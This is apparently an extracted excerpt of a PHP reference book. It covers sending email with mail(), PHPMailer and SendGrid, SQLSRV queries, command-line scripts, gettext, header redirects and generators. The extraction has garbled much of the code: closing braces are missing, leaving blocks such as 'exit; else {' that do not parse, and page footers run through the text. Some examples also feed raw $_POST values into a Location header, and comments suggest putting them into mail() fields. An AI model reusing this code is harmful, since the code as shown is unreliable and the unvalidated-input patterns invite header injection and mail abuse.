A typical email has three main components:

1. A recipient (represented as an email address)

2. A subject

3. A message body

Sending mail in PHP can be as simple as calling the built-in function mail(). mail() takes up to five
parameters but
the first three are all that is required to send an email (although the four parameters is commonly
used as will be

demonstrated below). The first three parameters are:

1. The recipient's email address (string)

2. The email's subject (string)

3. The body of the email (string) (e.g. the content of the email)

A minimal example would resemble the following code:

mail('recipient@example.com', 'Email Subject', 'This is the email message body');

The simple example above works well in limited circumstances such as hardcoding an email alert for
an internal

system. However, it is common to place the data passed as the parameters for mail() in variables to
make the

code cleaner and easier to manage (for example, dynamically building an email from a form
submission).

Additionally, mail() accepts a fourth parameter which allows you to have additional mail headers sent
with your

email. These headers can allow you to set:

the From name and email address the user will see

the Reply-To email address the user's response will be sent to

additional non-standards headers like X-Mailer which can tell the recipient this email was sent via PHP

$to = 'recipient@example.com'; // Could also be $to = $_POST['recipient'];

$subject = 'Email Subject'; // Could also be $subject = $_POST['subject'];

$message = 'This is the email message body'; // Could also be $message = $_POST['message'];

$headers = implode("\r\n", [

'From: John Conde <webmaster@example.com>',

'Reply-To: webmaster@example.com',

'X-Mailer: PHP/' . PHP_VERSION

]);

The optional fifth parameter can be used to pass additional flags as command line options to the
program

configured to be used when sending mail, as defined by the sendmail_path configuration setting. For
example, this

GoalKicker.com – PHP Notes for Professionals 326

can be used to set the envelope sender address when using sendmail/postfix with the -f sendmail
option.

$fifth = '-fno-reply@example.com';

Although using mail() can be pretty reliable, it is by no means guaranteed that an email will be sent
when mail() is

called. To see if there is a potential error when sending your email, you should capture the return
value from

mail(). TRUE will be returned if the mail was successfully accepted for delivery. Otherwise, you will
receive FALSE.

$result = mail($to, $subject, $message, $headers, $fifth);

NOTE: Although mail() may return TRUE, it does not mean the email was sent or that the email will be
received by

the recipient. It only indicates the mail was successfully handed over to your system's mail system
successfully.

If you wish to send an HTML email, there isn't a lot more work you need to do. You need to:

1. Add the MIME-Version header

2. Add the Content-Type header

3. Make sure your email content is HTML

$to = 'recipient@example.com';

$subject = 'Email Subject';

$message = '<html><body>This is the email message body</body></html>';

$headers = implode("\r\n", [

'From: John Conde <webmaster@example.com>',

'Reply-To: webmaster@example.com',

'MIME-Version: 1.0',

'Content-Type: text/html; charset=ISO-8859-1',

'X-Mailer: PHP/' . PHP_VERSION

]);

Here's a full example of using PHP's mail() function

<?php

// Debugging tools. Only turn these on in your development environment.

error_reporting(-1);

ini_set('display_errors', 'On');

set_error_handler("var_dump");

// Special mail settings that can make mail less likely to be considered spam

// and offers logging in case of technical difficulties.

ini_set("mail.log", "/tmp/mail.log");

ini_set("mail.add_x_header", TRUE);

// The components of our email

$to = 'recipient@example.com';

$subject = 'Email Subject';

$message = 'This is the email message body';

$headers = implode("\r\n", [

'From: webmaster@example.com',

'Reply-To: webmaster@example.com',

'X-Mailer: PHP/' . PHP_VERSION

]);

// Send the email

GoalKicker.com – PHP Notes for Professionals 327

$result = mail($to, $subject, $message, $headers);

// Check the results and react accordingly

if ($result) {

// Success! Redirect to a thank you page. Use the

// POST/REDIRECT/GET pattern to prevent form resubmissions

// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;

else {

// Your mail was not sent. Check your logs to see if

// the reason was reported there for you.

See Also

Official documentation

mail()

PHP mail() configuration

Related Stack Overflow Questions

PHP mail form doesn't complete sending e-mail

How do you make sure email you send programmatically is not automatically marked as spam?

How to use SMTP to send email

Setting envelope from address

Alternative Mailers

PHPMailer
SwiftMailer

PEAR::Mail

Email Servers

Mercury Mail (Windows)

Related Topics

Post/Redirect/Get

Section 64.2: Sending HTML Email Using mail()

<?php

$to = 'recipent@example.com';

$subject = 'Sending an HTML email using mail() in PHP';

$message = '<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is

italic.</i></p></body></html>';

$headers = implode("\r\n", [

GoalKicker.com – PHP Notes for Professionals 328

"From: John Conde <webmaster@example.com>",

"Reply-To: webmaster@example.com",

"X-Mailer: PHP/" . PHP_VERSION,

"MIME-Version: 1.0",

"Content-Type: text/html; charset=UTF-8"

]);

mail($to, $subject, $message, $headers);

This is not much different then sending a plain text email. Thet key differences being the content body
is structured

like an HTML document and there are two additional headers that must be included so the email
client knows to

trender the email as HTML. They are:

MIME-Version: 1.0

Content-Type: text/html; charset=UTF-8

Section 64.3: Sending Email With An Attachment Using mail()

<?php

$to = 'recipient@example.com';

$subject = 'Email Subject';

$message = 'This is the email message body';

$attachment = '/path/to/your/file.pdf';

$content = file_get_contents($attachment);

/* Attachment content transferred in Base64 encoding

MUST be split into chunks 76 characters in length as

specified by RFC 2045 section 6.8. By default, the

function chunk_split() uses a chunk length of 76 with

a trailing CRLF (\r\n). The 76 character requirement

does not include the carriage return and line feed */

$content = chunk_split(base64_encode($content));

/* Boundaries delimit multipart entities. As stated

in RFC 2046 section 5.1, the boundary MUST NOT occur

in any encapsulated part. Therefore, it should be

unique. As stated in the following section 5.1.1, a

boundary is defined as a line consisting of two hyphens

("--"), a parameter value, optional linear whitespace,

and a terminating CRLF. */

$prefix = "part_"; // This is an optional prefix

/* Generate a unique boundary parameter value with our

prefix using the uniqid() function. The second parameter

makes the parameter value more unique. */

$boundary = uniqid($prefix, true);

// headers

$headers = implode("\r\n", [

'From: webmaster@example.com',

'Reply-To: webmaster@example.com',

'X-Mailer: PHP/' . PHP_VERSION,

'MIME-Version: 1.0',

// boundary parameter required, must be enclosed by quotes

'Content-Type: multipart/mixed; boundary="' . $boundary . '"',

"Content-Transfer-Encoding: 7bit",

"This is a MIME encoded message." // message for restricted transports

]);

GoalKicker.com – PHP Notes for Professionals 329

// message and attachment

$message = implode("\r\n", [

"--" . $boundary, // header boundary delimiter line

'Content-Type: text/plain; charset="iso-8859-1"',

"Content-Transfer-Encoding: 8bit",

$message,

"--" . $boundary, // content boundary delimiter line

'Content-Type: application/octet-stream; name="RenamedFile.pdf"',

"Content-Transfer-Encoding: base64",

"Content-Disposition: attachment",
$content,

"--" . $boundary . "--" // closing boundary delimiter line

]);

$result = mail($to, $subject, $message, $headers); // send the email

if ($result) {

// Success! Redirect to a thank you page. Use the

// POST/REDIRECT/GET pattern to prevent form resubmissions

// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;

else {

// Your mail was not sent. Check your logs to see if

// the reason was reported there for you.

Content-Transfer-Encodings

The available encodings are 7bit, 8bit, binary, quoted-printable, base64, ietf-token, and x-token. Of
these encodings,

when a header has a multipart Content-Type, the Content-Transfer-Encoding must not be any other
value other

than 7bit, 8bit, or binary as stated in RFC 2045, section 6.4.

Our example chooses the 7bit encoding, which represents US-ASCII characters, for the multipart
header because,

as noted in RFC 2045 section 6, some protocols support only this encoding. Data within the boundaries
can then be

encoded on a part-by-part basis (RFC 2046, section 5.1). This example does exactly this. The first part,
which
contains the text/plain message, is defined to be 8bit since it may be necessary to support additional
characters. In

this case, the Latin1 (iso-8859-1) character set is being used. The second part is the attachment and so
it is defined

as a base64-encoded application/octet-stream. Since base64 transforms arbitrary data into the 7bit
range, it can be

sent over restricted transports (RFC 2045, section 6.2).

Section 64.4: Sending Plain Text Email Using PHPMailer

Basic Text Email

<?php

$mail = new PHPMailer();

$mail->From = "from@example.com";

$mail->FromName = "Full Name";

$mail->addReplyTo("reply@example.com", "Reply Address");

$mail->Subject = "Subject Text";

$mail->Body = "This is a sample basic text email using PHPMailer.";

if($mail->send()) {

// Success! Redirect to a thank you page. Use the

// POST/REDIRECT/GET pattern to prevent form resubmissions

GoalKicker.com – PHP Notes for Professionals 330

// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;

else {

echo "Mailer Error: " . $mail->ErrorInfo;

}
Adding addtional recipients, CC recipients, BCC recipients

<?php

$mail = new PHPMailer();

$mail->From = "from@example.com";

$mail->FromName = "Full Name";

$mail->addReplyTo("reply@example.com", "Reply Address");

$mail->addAddress("recepient1@example.com", "Recepient Name");

$mail->addAddress("recepient2@example.com");

$mail->addCC("cc@example.com");

$mail->addBCC("bcc@example.com");

$mail->Subject = "Subject Text";

$mail->Body = "This is a sample basic text email using PHPMailer.";

if($mail->send()) {

// Success! Redirect to a thank you page. Use the

// POST/REDIRECT/GET pattern to prevent form resubmissions

// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;

else {

echo "Error: " . $mail->ErrorInfo;

Section 64.5: Sending HTML Email Using PHPMailer

<?php

$mail = new PHPMailer();

$mail->From = "from@example.com";

$mail->FromName = "Full Name";

$mail->addReplyTo("reply@example.com", "Reply Address");

$mail->addAddress("recepient1@example.com", "Recepient Name");

$mail->addAddress("recepient2@example.com");

$mail->addCC("cc@example.com");

$mail->addBCC("bcc@example.com");

$mail->Subject = "Subject Text";

$mail->isHTML(true);

$mail->Body = "<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is

italic.</i></p></body></html>";

$mail->AltBody = "This paragraph is not bold.\n\nThis text is not italic.";

if($mail->send()) {

// Success! Redirect to a thank you page. Use the

// POST/REDIRECT/GET pattern to prevent form resubmissions

// when a user refreshes the page.

GoalKicker.com – PHP Notes for Professionals 331

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;

else {

echo "Error: " . $mail->ErrorInfo;

Section 64.6: Sending Email With An Attachment Using

PHPMailer
<?php

$mail = new PHPMailer();

$mail->From = "from@example.com";

$mail->FromName = "Full Name";

$mail->addReplyTo("reply@example.com", "Reply Address");

$mail->Subject = "Subject Text";

$mail->Body = "This is a sample basic text email with an attachment using PHPMailer.";

// Add Static Attachment

$attachment = '/path/to/your/file.pdf';

$mail->AddAttachment($attachment , 'RenamedFile.pdf');

// Add Second Attachment, run-time created. ie: CSV to be open with Excel

$csvHeader = "header1,header2,header3";

$csvData = "row1col1,row1col2,row1col3\nrow2col1,row2col2,row2col3";

$mail->AddStringAttachment($csvHeader ."\n" . $csvData, 'your-csv-file.csv', 'base64',

'application/vnd.ms-excel');

if($mail->send()) {

// Success! Redirect to a thank you page. Use the

// POST/REDIRECT/GET pattern to prevent form resubmissions

// when a user refreshes the page.

header('Location: http://example.com/path/to/thank-you.php', true, 303);

exit;

else {

echo "Error: " . $mail->ErrorInfo;

}
Section 64.7: Sending Plain Text Email Using Sendgrid

Basic Text Email

<?php

$sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY");

$email = new SendGrid\Email();

$email->addTo("recipient@example.com")

->setFrom("sender@example.com")

->setSubject("Subject Text")

->setText("This is a sample basic text email using ");

$sendgrid->send($email);

GoalKicker.com – PHP Notes for Professionals 332

Adding addtional recipients, CC recipients, BCC recipients

<?php

$sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY");

$email = new SendGrid\Email();

$email->addTo("recipient@example.com")

->setFrom("sender@example.com")

->setSubject("Subject Text")

->setHtml("<html><body><p><b>This paragraph is bold.</b></p><p><i>This text is

italic.</i></p></body></html>");

$personalization = new Personalization();

$email = new Email("Recepient Name", "recepient1@example.com");

$personalization->addTo($email);

$email = new Email("RecepientCC Name", "recepient2@example.com");

$personalization->addCc($email);

$email = new Email("RecepientBCC Name", "recepient3@example.com");

$personalization->addBcc($email);

$email->addPersonalization($personalization);

$sendgrid->send($email);

Section 64.8: Sending Email With An Attachment Using

Sendgrid

<?php

$sendgrid = new SendGrid("YOUR_SENDGRID_API_KEY");

$email = new SendGrid\Email();

$email->addTo("recipient@example.com")

->setFrom("sender@example.com")

->setSubject("Subject Text")

->setText("This is a sample basic text email using ");

$attachment = '/path/to/your/file.pdf';

$content = file_get_contents($attachment);

$content = chunk_split(base64_encode($content));

$attachment = new Attachment();

$attachment->setContent($content);

$attachment->setType("application/pdf");

$attachment->setFilename("RenamedFile.pdf");

$attachment->setDisposition("attachment");

$email->addAttachment($attachment);
$sendgrid->send($email);

GoalKicker.com – PHP Notes for Professionals 333

Chapter 65: Using SQLSRV

Section 65.1: Retrieving Error Messages

When a query goes wrong, it is important to fetch the error message(s) returned by the driver to
identify the cause

of the problem. The syntax is:

sqlsrv_errors([int $errorsOrWarnings]);

This returns an array with:

Key Description

SQLSTATE The state that the SQL Server / OBDC Driver is in

code The SQL Server error code

message The description of the error

It is common to use the above function like so:

$brokenQuery = "SELECT BadColumnName FROM Table_1";

$stmt = sqlsrv_query($conn, $brokenQuery);

if ($stmt === false) {

if (($errors = sqlsrv_errors()) != null) {

foreach ($errors as $error) {

echo "SQLSTATE: ".$error['SQLSTATE']."<br />";

echo "code: ".$error['code']."<br />";

echo "message: ".$error['message']."<br />";

Section 65.2: Fetching Query Results

There are 3 main ways to fetch results from a query:

sqlsrv_fetch_array()

sqlsrv_fetch_array() retrieves the next row as an array.

$stmt = sqlsrv_query($conn, $query);

while($row = sqlsrv_fetch_array($stmt)) {

echo $row[0];

$var = $row["name"];

//...

sqlsrv_fetch_array() has an optional second parameter to fetch back different types of array:

SQLSRV_FETCH_ASSOC, SQLSRV_FETCH_NUMERIC and SQLSRV_FETCH_BOTH(default) can be used;

each returns the

associative, numeric, or associative and numeric arrays, respectively.

sqlsrv_fetch_object()

sqlsrv_fetch_object() retrieves the next row as an object.

GoalKicker.com – PHP Notes for Professionals 334

$stmt = sqlsrv_query($conn, $query);

while($obj = sqlsrv_fetch_object($stmt)) {

echo $obj->field; // Object property names are the names of the fields from the query

//...

sqlsrv_fetch()

sqlsrv_fetch() makes the next row available for reading.

$stmt = sqlsrv_query($conn, $query);

while(sqlsrv_fetch($stmt) === true) {

$foo = sqlsrv_get_field($stmt, 0); //gets the first field -

}

Section 65.3: Creating a Connection

$dbServer = "localhost,1234"; //Name of the server/instance, including optional port number (default

is 1433)

$dbName = "db001"; //Name of the database

$dbUser = "user"; //Name of the user

$dbPassword = "password"; //DB Password of that user

$connectionInfo = array(

"Database" => $dbName,

"UID" => $dbUser,

"PWD" => $dbPassword

);

$conn = sqlsrv_connect($dbServer, $connectionInfo);

SQLSRV also has a PDO Driver. To connect using PDO:

$conn = new PDO("sqlsrv:Server=localhost,1234;Database=db001", $dbUser, $dbPassword);

Section 65.4: Making a Simple Query

//Create Connection

$conn = sqlsrv_connect($dbServer, $connectionInfo);

$query = "SELECT * FROM [table]";

$stmt = sqlsrv_query($conn, $query);

Note: the use of square brackets [] is to escape the word table as it is a reserved word. These work in
the same way as

backticks ` do in MySQL.

Section 65.5: Invoking a Stored Procedure

To call a stored procedure on the server:

$query = "{call [dbo].[myStoredProcedure](?,?,?)}"; //Parameters '?' includes OUT parameters

$params = array(

array($name, SQLSRV_PARAM_IN),

GoalKicker.com – PHP Notes for Professionals 335

array($age, SQLSRV_PARAM_IN),

array($count, SQLSRV_PARAM_OUT, SQLSRV_PHPTYPE_INT) //$count must already be initialised

);

$result = sqlsrv_query($conn, $query, $params);

Section 65.6: Making a Parameterised Query

$conn = sqlsrv_connect($dbServer, $connectionInfo);

$query = "SELECT * FROM [users] WHERE [name] = ? AND [password] = ?";

$params = array("joebloggs", "pa55w0rd");

$stmt = sqlsrv_query($conn, $query, $params);

If you plan on using the same query statement more than once, with different parameters, the same
can be

achieved with the sqlsrv_prepare() and sqlsrv_execute() functions, as shown below:

$cart = array(

"apple" => 3,

"banana" => 1,

"chocolate" => 2

);

$query = "INSERT INTO [order_items]([item], [quantity]) VALUES(?,?)";

$params = array(&$item, &$qty); //Variables as parameters must be passed by reference

$stmt = sqlsrv_prepare($conn, $query, $params);

foreach($cart as $item => $qty){

if(sqlsrv_execute($stmt) === FALSE) {

die(print_r(sqlsrv_errors(), true));
}

GoalKicker.com – PHP Notes for Professionals 336

Chapter 66: Command Line Interface (CLI)

Section 66.1: Handling Program Options

Program options can be handled with the getopt() function. It operates with a similar syntax to the
POSIX getopt

command, with additional support for GNU-style long options.

#!/usr/bin/php

// a single colon indicates the option takes a value

// a double colon indicates the value may be omitted

$shortopts = "hf:v::d";

// GNU-style long options are not required

$longopts = ["help", "version"];

$opts = getopt($shortopts, $longopts);

// options without values are assigned a value of boolean false

// you must check their existence, not their truthiness

if (isset($opts["h"]) || isset($opts["help"])) {

fprintf(STDERR, "Here is some help!\n");

exit;

// long options are called with two hyphens: "--version"

if (isset($opts["version"])) {

fprintf(STDERR, "%s Version 223.45" . PHP_EOL, $argv[0]);

exit;

}
// options with values can be called like "-f foo", "-ffoo", or "-f=foo"

$file = "";

if (isset($opts["f"])) {

$file = $opts["f"];

if (empty($file)) {

fprintf(STDERR, "We wanted a file!" . PHP_EOL);

exit(1);

fprintf(STDOUT, "File is %s" . PHP_EOL, $file);

// options with optional values must be called like "-v5" or "-v=5"

$verbosity = 0;

if (isset($opts["v"])) {

$verbosity = ($opts["v"] === false) ? 1 : (int)$opts["v"];

fprintf(STDOUT, "Verbosity is %d" . PHP_EOL, $verbosity);

// options called multiple times are passed as an array

$debug = 0;

if (isset($opts["d"])) {

$debug = is_array($opts["d"]) ? count($opts["d"]) : 1;

fprintf(STDOUT, "Debug is %d" . PHP_EOL, $debug);

// there is no automated way for getopt to handle unexpected options

This script can be tested like so:

./test.php --help
GoalKicker.com – PHP Notes for Professionals 337

./test.php --version

./test.php -f foo -ddd

./test.php -v -d -ffoo

./test.php -v5 -f=foo

./test.php -f foo -v 5 -d

Note the last method will not work because -v 5 is not valid.

Note: As of PHP 5.3.0, getopt is OS independent, working also on Windows.

Section 66.2: Argument Handling

Arguments are passed to the program in a manner similar to most C-style languages. $argc is an
integer containing

the number of arguments including the program name, and $argv is an array containing arguments to
the

program. The first element of $argv is the name of the program.

#!/usr/bin/php

printf("You called the program %s with %d arguments\n", $argv[0], $argc - 1);

unset($argv[0]);

foreach ($argv as $i => $arg) {

printf("Argument %d is %s\n", $i, $arg);

Calling the above application with php example.php foo bar (where example.php contains the above
code) will

result in the following output:

You called the program example.php with 2 arguments

Argument 1 is foo

Argument 2 is bar

Note that $argc and $argv are global variables, not superglobal variables. They must be imported into
the local

scope using the global keyword if they are needed in a function.

This example shows the how arguments are grouped when escapes such as "" or \ are used.

Example script

var_dump($argc, $argv);

Command line

$ php argc.argv.php --this-is-an-option three\ words\ together or "in one quote" but\ multiple\

spaces\ counted\ as\ one

int(6)

array(6) {

[0]=>

string(13) "argc.argv.php"

[1]=>

string(19) "--this-is-an-option"

[2]=>

string(20) "three words together"

[3]=>

string(2) "or"

GoalKicker.com – PHP Notes for Professionals 338

[4]=>

string(12) "in one quote"

[5]=>

string(34) "but multiple spaces counted as one"

If the PHP script is run using -r:

$ php -r 'var_dump($argv);'

array(1) {

[0]=>

string(1) "-"

Or code piped into STDIN of php:

$ echo '<?php var_dump($argv);' | php

array(1) {

[0]=>

string(1) "-"

Section 66.3: Input and Output Handling

When run from the CLI, the constants STDIN, STDOUT, and STDERR are predefined. These constants
are file

handles, and can be considered equivalent to the results of running the following commands:

STDIN = fopen("php://stdin", "r");

STDOUT = fopen("php://stdout", "w");

STDERR = fopen("php://stderr", "w");

The constants can be used anywhere a standard file handle would be:

#!/usr/bin/php

while ($line = fgets(STDIN)) {

$line = strtolower(trim($line));

switch ($line) {

case "bad":

fprintf(STDERR, "%s is bad" . PHP_EOL, $line);

break;
case "quit":

exit;

default:

fprintf(STDOUT, "%s is good" . PHP_EOL, $line);

break;

The builtin stream addresses referenced earlier (php://stdin, php://stdout, and php://stderr) can be
used in

place of filenames in most contexts:

file_put_contents('php://stdout', 'This is stdout content');

file_put_contents('php://stderr', 'This is stderr content');

// Open handle and write multiple times.

$stdout = fopen('php://stdout', 'w');

GoalKicker.com – PHP Notes for Professionals 339

fwrite($stdout, 'Hello world from stdout' . PHP_EOL);

fwrite($stdout, 'Hello again');

fclose($stdout);

As an alternative, you can also use readline() for input, and you can also use echo or print or any other
string

printing functions for output.

$name = readline("Please enter your name:");

print "Hello, {$name}.";

Section 66.4: Return Codes

The exit construct can be used to pass a return code to the executing environment.

#!/usr/bin/php
if ($argv[1] === "bad") {

exit(1);

} else {

exit(0);

By default an exit code of 0 will be returned if none is provided, i.e. exit is the same as exit(0). As exit
is not a

function, parentheses are not required if no return code is being passed.

Return codes must be in the range of 0 to 254 (255 is reserved by PHP and should not be used). By
convention,

exiting with a return code of 0 tells the calling program that the PHP script ran successfully. Use a non-
zero return

code to tell the calling program that a specific error condition occurred.

Section 66.5: Restrict script execution to command line

The function php_sapi_name() and the constant PHP_SAPI both return the type of interface (Server
API) that is

being used by PHP. They can be used to restrict the execution of a script to the command line, by
checking whether

the output of the function is equal to cli.

if (php_sapi_name() === 'cli') {

echo "Executed from command line\n";

} else {

echo "Executed from web browser\n";

The drupal_is_cli() function is an example of a function that detects whether a script has been
executed from

the command line:

function drupal_is_cli() {
return (!isset($_SERVER['SERVER_SOFTWARE']) && (php_sapi_name() == 'cli' ||

(is_numeric($_SERVER['argc']) && $_SERVER['argc'] > 0)));

Section 66.6: Behavioural dierences on the command line

When running from the CLI, PHP exhibits some different behaviours than when run from a web server.
These

differences should be kept in mind, especially in the case where the same script might be run from
both

environments.

GoalKicker.com – PHP Notes for Professionals 340

No directory change When running a script from a web server, the current working directory is always
that

of the script itself. The code require("./stuff.inc"); assumes the file is in the same directory as the
script.

On the command line, the current working directory is the directory you're in when you call the script.
Scripts

that are going to be called from the command line should always use absolute paths. (Note the magic

constants __DIR__ and __FILE__ continue to work as expected, and return the location of the script.)

No output buffering The php.ini directives output_buffering and implicit_flush default to false and

true, respectively. Buffering is still available, but must be explicitly enabled, otherwise output will
always be

displayed in real time.

No time limit The php.ini directive max_execution_time is set to zero, so scripts will not time out by

default.

No HTML errors In the event you have enabled the php.ini directive html_errors, it will be ignored on
the

command line.

Different php.ini can be loaded. When you are using php from cli it can use different php.ini than web
server do. You can know what file is using by running php --ini.

Section 66.7: Running your script

On either Linux/UNIX or Windows, a script can be passed as an argument to the PHP executable, with
that script's

options and arguments following:

php ~/example.php foo bar

c:\php\php.exe c:\example.php foo bar

This passes foo and bar as arguments to example.php.

On Linux/UNIX, the preferred method of running scripts is to use a shebang (e.g. #!/usr/bin/env php)
as the first

line of a file, and set the executable bit on the file. Assuming the script is in your path, you can then
call it directly:

example.php foo bar

Using /usr/bin/env php makes the PHP executable to be found using the PATH. Following how PHP is
installed, it

might not be located at the same place (such as /usr/bin/php or /usr/local/bin/php), unlike env which
is

commonly available from /usr/bin/env.

On Windows, you could have the same result by adding the PHP's directory and your script to the
PATH and editing

PATHEXT to allow .php to be detected using the PATH. Another possibility is to add a file named
example.bat or

example.cmd in the same directory as your PHP script and write this line into it:

c:\php\php.exe "%~dp0example.php" %*

Or, if you added PHP's directory into the PATH, for convenient use:

php "%~dp0example.php" %*

Section 66.8: Edge Cases of getopt()

This example shows the behaviour of getopt when the user input is uncommon:
getopt.php

var_dump(

getopt("ab:c::", ["delta", "epsilon:", "zeta::"])

);

Shell command line

GoalKicker.com – PHP Notes for Professionals 341

$ php getopt.php -a -a -bbeta -b beta -cgamma --delta --epsilon --zeta --zeta=f -c gamma

array(6) {

["a"]=>

array(2) {

[0]=>

bool(false)

[1]=>

bool(false)

["b"]=>

array(2) {

[0]=>

string(4) "beta"

[1]=>

string(4) "beta"

["c"]=>

array(2) {

[0]=>
string(5) "gamma"

[1]=>

bool(false)

["delta"]=>

bool(false)

["epsilon"]=>

string(6) "--zeta"

["zeta"]=>

string(1) "f"

From this example, it can be seen that:

Individual options (no colon) always carry a boolean value of false if enabled.

If an option is repeated, the respective value in the output of getopt will become an array.

Required argument options (one colon) accept one space or no space (like optional argument options)
as

separator

After one argument that cannot be mapped into any options, the options behind will not be mapped
either.

Section 66.9: Running built-in web server

As from version 5.4, PHP comes with built-in server. It can be used to run application without need to
install other

http server like nginx or apache. Built-in server is designed only in controller environment for
development and

testing purposes.

It can be run with command php -S :

To test it create index.php file containing

<?php

echo "Hello World from built-in PHP server";

and run command php -S localhost:8080

Now yout should be able to see content in browser. To check this, navigate to http://localhost:8080

Every access should result in log entry written to terminal

GoalKicker.com – PHP Notes for Professionals 342

[Mon Aug 15 18:20:19 2016] ::1:52455 [200]: /

GoalKicker.com – PHP Notes for Professionals 343

Chapter 67: Localization

Section 67.1: Localizing strings with gettext()

GNU gettext is an extension within PHP that must be included at the php.ini:

extension=php_gettext.dll #Windows extension=gettext.so #Linux

The gettext functions implement an NLS (Native Language Support) API which can be used to
internationalize your

PHP applications.

Translating strings can be done in PHP by setting the locale, setting up your translation tables and
calling gettext()

on any string you want to translate.

<?php

// Set language to French

putenv('LC_ALL= fr_FR');

setlocale(LC_ALL, 'fr_FR');

// Specify location of translation tables for 'myPHPApp' domain

bindtextdomain("myPHPApp", "./locale");

// Select 'myPHPApp' domain

textdomain("myPHPApp");
myPHPApp.po

#: /Hello_world.php:56

msgid "Hello"

msgstr "Bonjour"

#: /Hello_world.php:242

msgid "How are you?"

msgstr "Comment allez-vous?"

gettext() loads a given post-complied .po file, a .mo. which maps your to-be translated strings as
above.

After this small bit of setup code, translations will now be looked for in the following file:

./locale/fr_FR/LC_MESSAGES/myPHPApp.mo.

Whenever you call gettext('some string'), if 'some string' has been translated in the .mo file, the
translation

will be returned. Otherwise, 'some string' will be returned untranslated.

// Print the translated version of 'Welcome to My PHP Application'

echo gettext("Welcome to My PHP Application");

// Or use the alias _() for gettext()

echo _("Have a nice day");

GoalKicker.com – PHP Notes for Professionals 344

Chapter 68: Headers Manipulation

Section 68.1: Basic Setting of a Header

Here is a basic setting of the Header to change to a new page when a button is clicked.

if(isset($_REQUEST['action']))

switch($_REQUEST['action'])

{ //Setting the Header based on which button is clicked

case 'getState':

header("Location: http://NewPageForState.com/getState.php?search=" . $_POST['search']);

break;

case 'getProject':

header("Location: http://NewPageForProject.com/getProject.php?search=" .

$_POST['search']);

break;

else

GetSearchTerm(!NULL);

//Forms to enter a State or Project and click search

function GetSearchTerm($success)

if (is_null($success))

echo "<h4>You must enter a state or project number</h4>";

echo "<center><strong>Enter the State to search for</strong></center><p></p>";

//Using the $_SERVER['PHP_SELF'] keeps us on this page till the switch above determines where to

go

echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'>

<input type='hidden' name='action' value='getState'>

<center>State: <input type='text' name='search' size='10'></center><p></p>

<center><input type='submit' name='submit' value='Search State'></center>

</form>";

GetSearchTermProject($success);

function GetSearchTermProject($success)

echo "<center><br><strong>Enter the Project to search for</strong></center><p></p>";

echo "<form action='" . $_SERVER['PHP_SELF'] . "' enctype='multipart/form-data' method='POST'>

<input type='hidden' name='action' value='getProject'>

<center>Project Number: <input type='text' name='search' size='10'></center><p></p>

<center><input type='submit' name='submit' value='Search Project'></center>

</form>";

?>

GoalKicker.com – PHP Notes for Professionals 345

Chapter 69: Coding Conventions

Section 69.1: PHP Tags

You should always use <?php ?> tags or short-echo tags <?= ?>. Other variations (in particular, short
tags <? ?>)

should not be used as they are commonly disabled by system administrators.

When a file is not expected to produce output (the entire file is PHP code) the closing ?> syntax should
be omitted

to avoid unintentional output, which can cause problems when a client parses the document, in
particular some

browsers fail to recognise the <!DOCTYPE tag and activate Quirks Mode.

Example of a simple PHP script:

<?php

print "Hello World";

Example class definition file:

<?php

class Foo

...

Example of PHP embedded in HTML:

<ul id="nav">

<?php foreach ($navItems as $navItem): ?>

<li><a href="<?= htmlspecialchars($navItem->url) ?>">

<?= htmlspecialchars($navItem->label) ?>

</a></li>

<?php endforeach; ?>

</ul>

GoalKicker.com – PHP Notes for Professionals 346

Chapter 70: Asynchronous programming

Section 70.1: Advantages of Generators

PHP 5.5 introduces Generators and the yield keyword, which allows us to write asynchronous code
that looks more

like synchronous code.

The yield expression is responsible for giving control back to the calling code and providing a point of
resumption

at that place. One can send a value along the yield instruction. The return value of this expression is
either null or

the value which was passed to Generator::send().

function reverse_range($i) {

// the mere presence of the yield keyword in this function makes this a Generator

do {

// $i is retained between resumptions

print yield $i;

} while (--$i > 0);

$gen = reverse_range(5);

print $gen->current();

$gen->send("injected!"); // send also resumes the Generator

foreach ($gen as $val) { // loops over the Generator, resuming it upon each iteration

echo $val;

// Output: 5injected!4321

This mechanism can be used by a coroutine implementation to wait for Awaitables yielded by the
Generator (by

registering itself as a callback for resolution) and continue execution of the Generator as soon as the
Awaitable is

resolved.

Section 70.2: Using Icicle event loop

Icicle uses Awaitables and Generators to create Coroutines.

require __DIR__ . '/vendor/autoload.php';

use Icicle\Awaitable;

use Icicle\Coroutine\Coroutine;

use Icicle\Loop;

$generator = function (float $time) {

try {

// Sets $start to the value returned by microtime() after approx. $time seconds.

$start = yield Awaitable\resolve(microtime(true))->delay($time);

echo "Sleep time: ", microtime(true) - $start, "\n";

// Throws the exception from the rejected awaitable into the coroutine.

return yield Awaitable\reject(new Exception('Rejected awaitable'));

} catch (Throwable $e) { // Catches awaitable rejection reason.

echo "Caught exception: ", $e->getMessage(), "\n";

return yield Awaitable\resolve('Coroutine completed');

GoalKicker.com – PHP Notes for Professionals 347

};

// Coroutine sleeps for 1.2 seconds, then will resolve with a string.

$coroutine = new Coroutine($generator(1.2));

$coroutine->done(function (string $data) {

echo $data, "\n";

});

Loop\run();

Section 70.3: Spawning non-blocking processes with

proc_open()

PHP has no support for running code concurrently unless you install extensions such as pthread. This
can be

sometimes bypassed by using proc_open() and stream_set_blocking() and reading their output
asynchronously.

If we split code into smaller chunks we can run it as multiple suprocesses. Then using
stream_set_blocking()

function we can make each subprocess also non-blocking. This means we can spawn multiple
subprocesses and

then check for their output in a loop (similarly to an even loop) and wait until all of them finish.

As an example we can have a small subprocess that just runs a loop and in each iteration sleeps
randomly for 100 -

1000ms (note, the delay is always the same for one subprocess).

<?php

// subprocess.php

$name = $argv[1];

$delay = rand(1, 10) * 100;

printf("$name delay: ${delay}ms\n");

for ($i = 0; $i < 5; $i++) {

usleep($delay * 1000);

printf("$name: $i\n");

Then the main process will spawn subprocesses and read their output. We can split it into smaller
blocks:

Spawn subprocesses with proc_open() .

